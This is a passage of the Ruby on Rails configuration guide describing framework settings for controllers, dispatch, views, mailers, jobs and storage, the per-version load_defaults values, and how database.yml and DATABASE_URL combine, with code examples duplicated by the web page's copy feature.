- config.action_controller.allow_forgery_protection enables or disables CSRF protection. By default this is false in the test environment and true in all other environments.

- config.action_controller.forgery_protection_origin_check configures whether the HTTP Origin header should be checked against the site's origin as an additional CSRF defense.

- config.action_controller.per_form_csrf_tokens configures whether CSRF tokens are only valid for the method/action they were generated for.

- config.action_controller.default_protect_from_forgery determines whether forgery protection is added on ActionController::Base.

- config.action_controller.urlsafe_csrf_tokens configures whether generated CSRF tokens are URL-safe.

- config.action_controller.relative_url_root can be used to tell Rails that you are deploying to a subdirectory. The default is ENV['RAILS_RELATIVE_URL_ROOT'].

- config.action_controller.permit_all_parameters sets all the parameters for mass assignment to be permitted by default. The default value is false.

- config.action_controller.action_on_unpermitted_parameters enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to :log or :raise to enable. The default value is :log in development and test environments, and false in all other environments.

- config.action_controller.always_permitted_parameters sets a list of permitted parameters that are permitted by default. The default values are ['controller', 'action'].

- config.action_controller.enable_fragment_cache_logging determines whether to log fragment cache reads and writes in verbose format as follows:

Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
Rendered messages/_message.html.erb in 1.2 ms [cache hit]
Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]

Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms) Rendered messages/_message.html.erb in 1.2 ms [cache hit] Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms) Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss] Copiar
By default it is set to false which results in following output:

Rendered messages/_message.html.erb in 1.2 ms [cache hit]
Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]

Rendered messages/_message.html.erb in 1.2 ms [cache hit] Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss] Copiar

3.9 Configuring Action Dispatch

- config.action_dispatch.session_store sets the name of the store for session data. The default is :cookie_store; other valid options include :active_record_store, :mem_cache_store or the name of your own custom class.

- config.action_dispatch.default_headers is a hash with HTTP headers that are set by default in each response. By default, this is defined as:

config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff',
'X-Download-Options' => 'noopen',
'X-Permitted-Cross-Domain-Policies' => 'none',
'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff', 'X-Download-Options' => 'noopen', 'X-Permitted-Cross-Domain-Policies' => 'none', 'Referrer-Policy' => 'strict-origin-when-cross-origin' } Copiar

- config.action_dispatch.default_charset specifies the default character set for all renders. Defaults to nil.

- config.action_dispatch.tld_length sets the TLD (top-level domain) length for the application. Defaults to 1.

- config.action_dispatch.ignore_accept_header is used to determine whether to ignore accept headers from a request. Defaults to false.

- config.action_dispatch.x_sendfile_header specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache.

- config.action_dispatch.http_auth_salt sets the HTTP Auth salt value. Defaults to 'http authentication'.

- config.action_dispatch.signed_cookie_salt sets the signed cookies salt value. Defaults to 'signed cookie'.

- config.action_dispatch.encrypted_cookie_salt sets the encrypted cookies salt value. Defaults to 'encrypted cookie'.

- config.action_dispatch.encrypted_signed_cookie_salt sets the signed encrypted cookies salt value. Defaults to 'signed encrypted cookie'.

- config.action_dispatch.authenticated_encrypted_cookie_salt sets the authenticated encrypted cookie salt. Defaults to 'authenticated encrypted cookie'.

- config.action_dispatch.encrypted_cookie_cipher sets the cipher to be used for encrypted cookies. This defaults to "aes-256-gcm".

- config.action_dispatch.signed_cookie_digest sets the digest to be used for signed cookies. This defaults to "SHA1".

- config.action_dispatch.cookies_rotations allows rotating secrets, ciphers, and digests for encrypted and signed cookies.

- config.action_dispatch.use_authenticated_cookie_encryption controls whether signed and encrypted cookies use the AES-256-GCM cipher or the older AES-256-CBC cipher. It defaults to true.

- config.action_dispatch.use_cookies_with_metadata enables writing cookies with the purpose and expiry metadata embedded. It defaults to true.

- config.action_dispatch.perform_deep_munge configures whether deep_munge method should be performed on the parameters. See Security Guide for more information. It defaults to true.

- config.action_dispatch.rescue_responses configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as:

config.action_dispatch.rescue_responses = {
'ActionController::RoutingError'
=> :not_found,
'AbstractController::ActionNotFound'
=> :not_found,
'ActionController::MethodNotAllowed'
=> :method_not_allowed,
'ActionController::UnknownHttpMethod'
=> :method_not_allowed,
'ActionController::NotImplemented'
=> :not_implemented,
'ActionController::UnknownFormat'
=> :not_acceptable,
'ActionController::InvalidAuthenticityToken'
=> :unprocessable_entity,
'ActionController::InvalidCrossOriginRequest'
=> :unprocessable_entity,
'ActionDispatch::Http::Parameters::ParseError'
=> :bad_request,
'ActionController::BadRequest'
=> :bad_request,
'ActionController::ParameterMissing'
=> :bad_request,
'Rack::QueryParser::ParameterTypeError'
=> :bad_request,
'Rack::QueryParser::InvalidParameterError'
=> :bad_request,
'ActiveRecord::RecordNotFound'
=> :not_found,
'ActiveRecord::StaleObjectError'
=> :conflict,
'ActiveRecord::RecordInvalid'
=> :unprocessable_entity,
'ActiveRecord::RecordNotSaved'
=> :unprocessable_entity
}

config.action_dispatch.rescue_responses = { 'ActionController::RoutingError' => :not_found, 'AbstractController::ActionNotFound' => :not_found, 'ActionController::MethodNotAllowed' => :method_not_allowed, 'ActionController::UnknownHttpMethod' => :method_not_allowed, 'ActionController::NotImplemented' => :not_implemented, 'ActionController::UnknownFormat' => :not_acceptable, 'ActionController::InvalidAuthenticityToken' => :unprocessable_entity, 'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity, 'ActionDispatch::Http::Parameters::ParseError' => :bad_request, 'ActionController::BadRequest' => :bad_request, 'ActionController::ParameterMissing' => :bad_request, 'Rack::QueryParser::ParameterTypeError' => :bad_request, 'Rack::QueryParser::InvalidParameterError' => :bad_request, 'ActiveRecord::RecordNotFound' => :not_found, 'ActiveRecord::StaleObjectError' => :conflict, 'ActiveRecord::RecordInvalid' => :unprocessable_entity, 'ActiveRecord::RecordNotSaved' => :unprocessable_entity } Copiar
Any exceptions that are not configured will be mapped to 500 Internal Server Error.

- config.action_dispatch.cookies_same_site_protection configures the default value of the SameSite attribute when setting cookies. When set to nil, the SameSite attribute is not added. To allow the value of the SameSite attribute to be configured dynamically based on the request, a proc may be specified. For example:

config.action_dispatch.cookies_same_site_protection = ->(request) do
:strict unless request.user_agent == "TestAgent"
end

config.action_dispatch.cookies_same_site_protection = ->(request) do :strict unless request.user_agent == "TestAgent" end Copiar

- config.action_dispatch.ssl_default_redirect_status configures the default HTTP status code used when redirecting non-GET/HEAD requests from HTTP to HTTPS in the ActionDispatch::SSL middleware. Defaults to 308 as defined in https://tools.ietf.org/html/rfc7538.

- ActionDispatch::Callbacks.before takes a block of code to run before the request.

- ActionDispatch::Callbacks.after takes a block of code to run after the request.

3.10 Configuring Action View

config.action_view includes a small number of configuration settings:

- config.action_view.cache_template_loading controls whether or not templates should be reloaded on each request. Defaults to whatever is set for config.cache_classes.

- config.action_view.field_error_proc provides an HTML generator for displaying errors that come from Active Model. The default is

Proc.new do |html_tag, instance|
%Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
end

Proc.new do |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe end Copiar

- config.action_view.default_form_builder tells Rails which form builder to use by default. The default is ActionView::Helpers::FormBuilder. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a String.

- config.action_view.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to nil to disable logging.

- config.action_view.erb_trim_mode gives the trim mode to be used by ERB. It defaults to '-', which turns on trimming of tail spaces and newline when using <%= -%> or <%= =%>. See the Erubis documentation for more information.

- config.action_view.embed_authenticity_token_in_remote_forms allows you to set the default behavior for authenticity_token in forms with remote: true. By default it's set to false, which means that remote forms will not include authenticity_token, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the meta tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass authenticity_token: true as a form option or set this config setting to true.

- config.action_view.prefix_partial_path_with_controller_namespace determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named Admin::ArticlesController which renders this template:

<%= render @article %>

<%= render @article %> Copiar
The default setting is true, which uses the partial at /admin/articles/_article.erb. Setting the value to false would render /articles/_article.erb, which is the same behavior as rendering from a non-namespaced controller such as ArticlesController.

- config.action_view.automatically_disable_submit_tag determines whether submit_tag should automatically disable on click, this defaults to true.

- config.action_view.debug_missing_translation determines whether to wrap the missing translations key in a <span> tag or not. This defaults to true.

- config.action_view.form_with_generates_remote_forms determines whether form_with generates remote forms or not.

- config.action_view.form_with_generates_ids determines whether form_with generates ids on inputs.

- config.action_view.default_enforce_utf8 determines whether forms are generated with a hidden tag that forces older versions of Internet Explorer to submit forms encoded in UTF-8. This defaults to false.

- config.action_view.annotate_rendered_view_with_filenames determines whether to annotate rendered view with template file names. This defaults to false.

- config.action_view.preload_links_header determines whether javascript_include_tag and stylesheet_link_tag will generate a Link header that preload assets.

3.11 Configuring Action Mailbox

config.action_mailbox provides the following configuration options:

- config.action_mailbox.logger contains the logger used by Action Mailbox. It accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. The default is Rails.logger.

config.action_mailbox.logger = ActiveSupport::Logger.new(STDOUT)

config.action_mailbox.logger = ActiveSupport::Logger.new(STDOUT) Copiar

- config.action_mailbox.incinerate_after accepts an ActiveSupport::Duration indicating how long after processing ActionMailbox::InboundEmail records should be destroyed. It defaults to 30.days.

# Incinerate inbound emails 14 days after processing.
config.action_mailbox.incinerate_after = 14.days

# Incinerate inbound emails 14 days after processing. config.action_mailbox.incinerate_after = 14.days Copiar

- config.action_mailbox.queues.incineration accepts a symbol indicating the Active Job queue to use for incineration jobs. When this option is nil, incineration jobs are sent to the default Active Job queue (see config.active_job.default_queue_name).

- config.action_mailbox.queues.routing accepts a symbol indicating the Active Job queue to use for routing jobs. When this option is nil, routing jobs are sent to the default Active Job queue (see config.active_job.default_queue_name).

3.12 Configuring Action Mailer

There are a number of settings available on config.action_mailer:

- config.action_mailer.asset_host sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. You should only use this if you have a different configuration for Action Controller, otherwise use config.asset_host.

- config.action_mailer.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.

- config.action_mailer.smtp_settings allows detailed configuration for the :smtp delivery method. It accepts a hash of options, which can include any of these options:

- :address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.

- :port - On the off chance that your mail server doesn't run on port 25, you can change it.

- :domain - If you need to specify a HELO domain, you can do it here.

- :user_name - If your mail server requires authentication, set the username in this setting.

- :password - If your mail server requires authentication, set the password in this setting.

- :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.

- :enable_starttls_auto - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to true.

- :openssl_verify_mode - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be one of the OpenSSL verify constants, :none or :peer -- or the constant directly OpenSSL::SSL::VERIFY_NONE or OpenSSL::SSL::VERIFY_PEER, respectively.

- :ssl/:tls - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection).

- config.action_mailer.sendmail_settings allows detailed configuration for the sendmail delivery method. It accepts a hash of options, which can include any of these options:

- :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.

- :arguments - The command line arguments. Defaults to -i.

- config.action_mailer.raise_delivery_errors specifies whether to raise an error if email delivery cannot be completed. It defaults to true.

- config.action_mailer.delivery_method defines the delivery method and defaults to :smtp. See the configuration section in the Action Mailer guide for more info.

- config.action_mailer.perform_deliveries specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.

- config.action_mailer.default_options configures Action Mailer defaults. Use to set options like from or reply_to for every mailer. These default to:

mime_version:  "1.0",
charset:       "UTF-8",
content_type: "text/plain",
parts_order:  ["text/plain", "text/enriched", "text/html"]

mime_version: "1.0", charset: "UTF-8", content_type: "text/plain", parts_order: ["text/plain", "text/enriched", "text/html"] Copiar
Assign a hash to set additional options:

config.action_mailer.default_options = {
from: "noreply@example.com"
}

config.action_mailer.default_options = { from: "noreply@example.com" } Copiar

- config.action_mailer.observers registers observers which will be notified when mail is delivered.

config.action_mailer.observers = ["MailObserver"]

config.action_mailer.observers = ["MailObserver"] Copiar

- config.action_mailer.interceptors registers interceptors which will be called before mail is sent.

config.action_mailer.interceptors = ["MailInterceptor"]

config.action_mailer.interceptors = ["MailInterceptor"] Copiar

- config.action_mailer.preview_interceptors registers interceptors which will be called before mail is previewed.

config.action_mailer.preview_interceptors = ["MyPreviewMailInterceptor"]

config.action_mailer.preview_interceptors = ["MyPreviewMailInterceptor"] Copiar

- config.action_mailer.preview_path specifies the location of mailer previews.

config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"

config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" Copiar

- config.action_mailer.show_previews enable or disable mailer previews. By default this is true in development.

config.action_mailer.show_previews = false

config.action_mailer.show_previews = false Copiar

- config.action_mailer.deliver_later_queue_name specifies the Active Job queue to use for delivery jobs. When this option is set to nil, delivery jobs are sent to the default Active Job queue (see config.active_job.default_queue_name). Make sure that your Active Job adapter is also configured to process the specified queue, otherwise delivery jobs may be silently ignored.

- config.action_mailer.perform_caching specifies whether the mailer templates should perform fragment caching or not. If it's not specified, the default will be true.

- config.action_mailer.delivery_job specifies delivery job for mail.

3.13 Configuring Active Support

There are a few configuration options available in Active Support:

- config.active_support.bare enables or disables the loading of active_support/all when booting Rails. Defaults to nil, which means active_support/all is loaded.

- config.active_support.test_order sets the order in which the test cases are executed. Possible values are :random and :sorted. Defaults to :random.

- config.active_support.escape_html_entities_in_json enables or disables the escaping of HTML entities in JSON serialization. Defaults to true.

- config.active_support.use_standard_json_time_format enables or disables serializing dates to ISO 8601 format. Defaults to true.

- config.active_support.time_precision sets the precision of JSON encoded time values. Defaults to 3.

- config.active_support.hash_digest_class allows configuring the digest class to use to generate non-sensitive digests, such as the ETag header.

- config.active_support.use_authenticated_message_encryption specifies whether to use AES-256-GCM authenticated encryption as the default cipher for encrypting messages instead of AES-256-CBC.

- ActiveSupport::Logger.silencer is set to false to disable the ability to silence logging in a block. The default is true.

- ActiveSupport::Cache::Store.logger specifies the logger to use within cache store operations.

- ActiveSupport::Deprecation.behavior alternative setter to config.active_support.deprecation which configures the behavior of deprecation warnings for Rails.

- ActiveSupport::Deprecation.disallowed_behavior alternative setter to config.active_support.disallowed_deprecation which configures the behavior of disallowed deprecation warnings for Rails.

- ActiveSupport::Deprecation.disallowed_warnings alternative setter to config.active_support.disallowed_deprecation_warnings which configures deprecation warnings that the Application considers disallowed. This allows, for example, specific deprecations to be treated as hard failures.

- ActiveSupport::Deprecation.silence takes a block in which all deprecation warnings are silenced.

- ActiveSupport::Deprecation.silenced sets whether or not to display deprecation warnings. The default is false.

- ActiveSupport.utc_to_local_returns_utc_offset_times configures ActiveSupport::TimeZone.utc_to_local to return a time with a UTC offset instead of a UTC time incorporating that offset.

3.14 Configuring Active Job

config.active_job provides the following configuration options:

- config.active_job.queue_adapter sets the adapter for the queuing backend. The default adapter is :async. For an up-to-date list of built-in adapters see the ActiveJob::QueueAdapters API documentation.

# Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq

# Be sure to have the adapter's gem in your Gemfile # and follow the adapter's specific installation # and deployment instructions. config.active_job.queue_adapter = :sidekiq Copiar

- config.active_job.default_queue_name can be used to change the default queue name. By default this is "default".

config.active_job.default_queue_name = :medium_priority

config.active_job.default_queue_name = :medium_priority Copiar

- config.active_job.queue_name_prefix allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used. The following configuration would queue the given job on the production_high_priority queue when run in production:

config.active_job.queue_name_prefix = Rails.env

config.active_job.queue_name_prefix = Rails.env Copiar

class GuestsCleanupJob < ActiveJob::Base
queue_as :high_priority
#....
end

class GuestsCleanupJob < ActiveJob::Base queue_as :high_priority #.... end Copiar

- config.active_job.queue_name_delimiter has a default value of '_'. If queue_name_prefix is set, then queue_name_delimiter joins the prefix and the non-prefixed queue name. The following configuration would queue the provided job on the video_server.low_priority queue:

# prefix must be set for delimiter to be used
config.active_job.queue_name_prefix = 'video_server'
config.active_job.queue_name_delimiter = '.'

# prefix must be set for delimiter to be used config.active_job.queue_name_prefix = 'video_server' config.active_job.queue_name_delimiter = '.' Copiar

class EncoderJob < ActiveJob::Base
queue_as :low_priority
#....
end

class EncoderJob < ActiveJob::Base queue_as :low_priority #.... end Copiar

- config.active_job.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling logger on either an Active Job class or an Active Job instance. Set to nil to disable logging.

- config.active_job.custom_serializers allows to set custom argument serializers. Defaults to [].

- config.active_job.log_arguments controls if the arguments of a job are logged. Defaults to true.

- config.active_job.retry_jitter controls the amount of "jitter" (random variation) applied to the delay time calculated when retrying failed jobs.

- config.active_job.skip_after_callbacks_if_terminated controls whether after_enqueue / after_perform callbacks run when a before_enqueue / before_perform callback halts with throw :abort.

3.15 Configuring Action Cable

- config.action_cable.url accepts a string for the URL for where you are hosting your Action Cable server. You would use this option if you are running Action Cable servers that are separated from your main application.

- config.action_cable.mount_path accepts a string for where to mount Action Cable, as part of the main server process. Defaults to /cable. You can set this as nil to not mount Action Cable as part of your normal Rails server.

You can find more detailed configuration options in the Action Cable Overview.

3.16 Configuring Active Storage

config.active_storage provides the following configuration options:

- config.active_storage.variant_processor accepts a symbol :mini_magick or :vips, specifying whether variant transformations will be performed with MiniMagick or ruby-vips. The default is :mini_magick.

- config.active_storage.analyzers accepts an array of classes indicating the analyzers available for Active Storage blobs. The default is [ActiveStorage::Analyzer::ImageAnalyzer, ActiveStorage::Analyzer::VideoAnalyzer]. The former can extract width and height of an image blob; the latter can extract width, height, duration, angle, and aspect ratio of a video blob.

- config.active_storage.previewers accepts an array of classes indicating the image previewers available in Active Storage blobs. The default is [ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer]. PopplerPDFPreviewer and MuPDFPreviewer can generate a thumbnail from the first page of a PDF blob; VideoPreviewer from the relevant frame of a video blob.

- config.active_storage.paths accepts a hash of options indicating the locations of previewer/analyzer commands. The default is {}, meaning the commands will be looked for in the default path. Can include any of these options:

- :ffprobe - The location of the ffprobe executable.

- :mutool - The location of the mutool executable.

- :ffmpeg - The location of the ffmpeg executable.

config.active_storage.paths[:ffprobe] = '/usr/local/bin/ffprobe'

config.active_storage.paths[:ffprobe] = '/usr/local/bin/ffprobe' Copiar

- config.active_storage.variable_content_types accepts an array of strings indicating the content types that Active Storage can transform through ImageMagick. The default is %w(image/png image/gif image/jpg image/jpeg image/pjpeg image/tiff image/bmp image/vnd.adobe.photoshop image/vnd.microsoft.icon image/webp).

- config.active_storage.web_image_content_types accepts an array of strings regarded as web image content types in which variants can be processed without being converted to the fallback PNG format. If you want to use WebP variants in your application you can add image/webp to this array. The default is %w(image/png image/jpeg image/jpg image/gif).

- config.active_storage.content_types_to_serve_as_binary accepts an array of strings indicating the content types that Active Storage will always serve as an attachment, rather than inline. The default is %w(text/html text/javascript image/svg+xml application/postscript application/x-shockwave-flash text/xml application/xml application/xhtml+xml application/mathml+xml text/cache-manifest).

- config.active_storage.content_types_allowed_inline accepts an array of strings indicating the content types that Active Storage allows to serve as inline. The default is %w(image/png image/gif image/jpg image/jpeg image/tiff image/bmp image/vnd.adobe.photoshop image/vnd.microsoft.icon application/pdf).

- config.active_storage.queues.analysis accepts a symbol indicating the Active Job queue to use for analysis jobs. When this option is nil, analysis jobs are sent to the default Active Job queue (see config.active_job.default_queue_name).

config.active_storage.queues.analysis = :low_priority

config.active_storage.queues.analysis = :low_priority Copiar

- config.active_storage.queues.purge accepts a symbol indicating the Active Job queue to use for purge jobs. When this option is nil, purge jobs are sent to the default Active Job queue (see config.active_job.default_queue_name).

config.active_storage.queues.purge = :low_priority

config.active_storage.queues.purge = :low_priority Copiar

- config.active_storage.queues.mirror accepts a symbol indicating the Active Job queue to use for direct upload mirroring jobs. When this option is nil, mirroring jobs are sent to the default Active Job queue (see config.active_job.default_queue_name). The default is nil.

config.active_storage.queues.mirror = :low_priority

config.active_storage.queues.mirror = :low_priority Copiar

- config.active_storage.logger can be used to set the logger used by Active Storage. Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class.

config.active_storage.logger = ActiveSupport::Logger.new(STDOUT)

config.active_storage.logger = ActiveSupport::Logger.new(STDOUT) Copiar

- config.active_storage.service_urls_expire_in determines the default expiry of URLs generated by:

- ActiveStorage::Blob#url

- ActiveStorage::Blob#service_url_for_direct_upload

- ActiveStorage::Variant#url

The default is 5 minutes.

- config.active_storage.routes_prefix can be used to set the route prefix for the routes served by Active Storage. Accepts a string that will be prepended to the generated routes.

config.active_storage.routes_prefix = '/files'

config.active_storage.routes_prefix = '/files' Copiar
The default is /rails/active_storage.

- config.active_storage.replace_on_assign_to_many determines whether assigning to a collection of attachments declared with has_many_attached replaces any existing attachments or appends to them. The default is true.

- config.active_storage.track_variants determines whether variants are recorded in the database. The default is true.

- config.active_storage.draw_routes can be used to toggle Active Storage route generation. The default is true.

- config.active_storage.resolve_model_to_route can be used to globally change how Active Storage files are delivered. Allowed values are:

- :rails_storage_redirect: Redirect to signed, short-lived service URLs.

- :rails_storage_proxy: Proxy files by downloading them.

The default is :rails_storage_redirect.

3.17 Results of config.load_defaults

config.load_defaults sets new defaults up to and including the version passed. Such that passing, say, 6.0 also gets the new defaults from every version before it.

3.17.1 For '6.1', defaults from previous versions below and:

- config.active_record.has_many_inversing: true

- config.active_record.legacy_connection_handling: false

- config.active_storage.track_variants: true

- config.active_storage.queues.analysis: nil

- config.active_storage.queues.purge: nil

- config.action_mailbox.queues.incineration: nil

- config.action_mailbox.queues.routing: nil

- config.action_mailer.deliver_later_queue_name: nil

- config.active_job.retry_jitter: 0.15

- config.active_job.skip_after_callbacks_if_terminated: true

- config.action_dispatch.cookies_same_site_protection: :lax

- config.action_dispatch.ssl_default_redirect_status = 308

- ActiveSupport.utc_to_local_returns_utc_offset_times: true

- config.action_controller.urlsafe_csrf_tokens: true

- config.action_view.form_with_generates_remote_forms: false

- config.action_view.preload_links_header: true

3.17.2 For '6.0', defaults from previous versions below and:

- config.autoloader: :zeitwerk

- config.action_view.default_enforce_utf8: false

- config.action_dispatch.use_cookies_with_metadata: true

- config.action_mailer.delivery_job: "ActionMailer::MailDeliveryJob"

- config.active_storage.queues.analysis: :active_storage_analysis

- config.active_storage.queues.purge: :active_storage_purge

- config.active_storage.replace_on_assign_to_many: true

- config.active_record.collection_cache_versioning: true

3.17.3 For '5.2', defaults from previous versions below and:

- config.active_record.cache_versioning: true

- config.action_dispatch.use_authenticated_cookie_encryption: true

- config.active_support.use_authenticated_message_encryption: true

- config.active_support.hash_digest_class: ::Digest::SHA1

- config.action_controller.default_protect_from_forgery: true

- config.action_view.form_with_generates_ids: true

3.17.4 For '5.1', defaults from previous versions below and:

- config.assets.unknown_asset_fallback: false

- config.action_view.form_with_generates_remote_forms: true

3.17.5 For '5.0', baseline defaults from below and:

- config.action_controller.per_form_csrf_tokens: true

- config.action_controller.forgery_protection_origin_check: true

- ActiveSupport.to_time_preserves_timezone: true

- config.active_record.belongs_to_required_by_default: true

- config.ssl_options: { hsts: { subdomains: true } }

3.17.6 Baseline defaults:

- config.action_controller.default_protect_from_forgery: false

- config.action_controller.urlsafe_csrf_tokens: false

- config.action_dispatch.cookies_same_site_protection: nil

- config.action_mailer.delivery_job: ActionMailer::DeliveryJob

- config.action_view.form_with_generates_ids: false

- config.action_view.preload_links_header: nil

- config.active_job.retry_jitter: 0.0

- config.active_job.skip_after_callbacks_if_terminated: false

- config.action_mailbox.queues.incineration: :action_mailbox_incineration

- config.action_mailbox.queues.routing: :action_mailbox_routing

- config.action_mailer.deliver_later_queue_name: :mailers

- config.active_record.collection_cache_versioning: false

- config.active_record.cache_versioning: false

- config.active_record.has_many_inversing: false

- config.active_record.legacy_connection_handling: true

- config.active_support.use_authenticated_message_encryption: false

- config.active_support.hash_digest_class: ::Digest::MD5

- ActiveSupport.utc_to_local_returns_utc_offset_times: false

3.18 Configuring a Database

Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable ENV['DATABASE_URL'] or by using a configuration file called config/database.yml.

Using the config/database.yml file you can specify all the information needed to access your database:

development:
adapter: postgresql
database: blog_development
pool: 5

development: adapter: postgresql database: blog_development pool: 5 Copiar

This will connect to the database named blog_development using the postgresql adapter. This same information can be stored in a URL and provided via an environment variable like this:

ENV['DATABASE_URL'] # => "postgresql://localhost/blog_development?pool=5"

ENV['DATABASE_URL'] # => "postgresql://localhost/blog_development?pool=5" Copiar

The config/database.yml file contains sections for three different environments in which Rails can run by default:

- The development environment is used on your development/local computer as you interact manually with the application.

- The test environment is used when running automated tests.

- The production environment is used when you deploy your application for the world to use.

If you wish, you can manually specify a URL inside of your config/database.yml

development:
url: postgresql://localhost/blog_development?pool=5

development: url: postgresql://localhost/blog_development?pool=5 Copiar

The config/database.yml file can contain ERB tags <%= %>. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.

You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named --database. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: cd .. && rails new blog --database=mysql. When you confirm the overwriting of the config/database.yml file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.

3.19 Connection Preference

Since there are two ways to configure your connection (using config/database.yml or using an environment variable) it is important to understand how they can interact.

If you have an empty config/database.yml file but your ENV['DATABASE_URL'] is present, then Rails will connect to the database via your environment variable:

$ cat config/database.yml

$ echo $DATABASE_URL
postgresql://localhost/my_database

cat config/database.yml echo $DATABASE_URL Copiar

If you have a config/database.yml but no ENV['DATABASE_URL'] then this file will be used to connect to your database:

$ cat config/database.yml
development:
adapter: postgresql
database: my_database
host: localhost

$ echo $DATABASE_URL

cat config/database.yml echo $DATABASE_URL Copiar

If you have both config/database.yml and ENV['DATABASE_URL'] set then Rails will merge the configuration together. To better understand this we must see some examples.

When duplicate connection information is provided the environment variable will take precedence:

$ cat config/database.yml
development:
adapter: sqlite3
database: NOT_my_database
host: localhost

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
#<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
@env_name="development", @spec_name="primary",
@config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost"}
@url="postgresql://localhost/my_database">
]

cat config/database.yml echo $DATABASE_URL bin/rails runner 'puts ActiveRecord::Base.configurations' bin/rails runner 'puts ActiveRecord::Base.configurations.inspect' Copiar

Here the adapter, host, and database match the information in ENV['DATABASE_URL'].

If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.

$ cat config/database.yml
development:
adapter: sqlite3
pool: 5

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
#<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
@env_name="development", @spec_name="primary",
@config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost", "pool"=>5}
@url="postgresql://localhost/my_database">
]

cat config/database.yml echo $DATABASE_URL bin/rails runner 'puts ActiveRecord::Base.configurations' bin/rails runner 'puts ActiveRecord::Base.configurations.inspect' Copiar

Since pool is not in the ENV['DATABASE_URL'] provided connection information its information is merged in. Since adapter is duplicate, the ENV['DATABASE_URL'] connection information wins.

The only way to explicitly not use the connection information in ENV['DATABASE_URL'] is to specify an explicit URL connection using the "url" sub key:

$ cat config/database.yml
development:
url: sqlite3:NOT_my_database

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
#<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
@env_name="development", @spec_name="primary",
@config={"adapter"=>"sqlite3", "database"=>"NOT_my_database"}
@url="sqlite3:NOT_my_database">
]

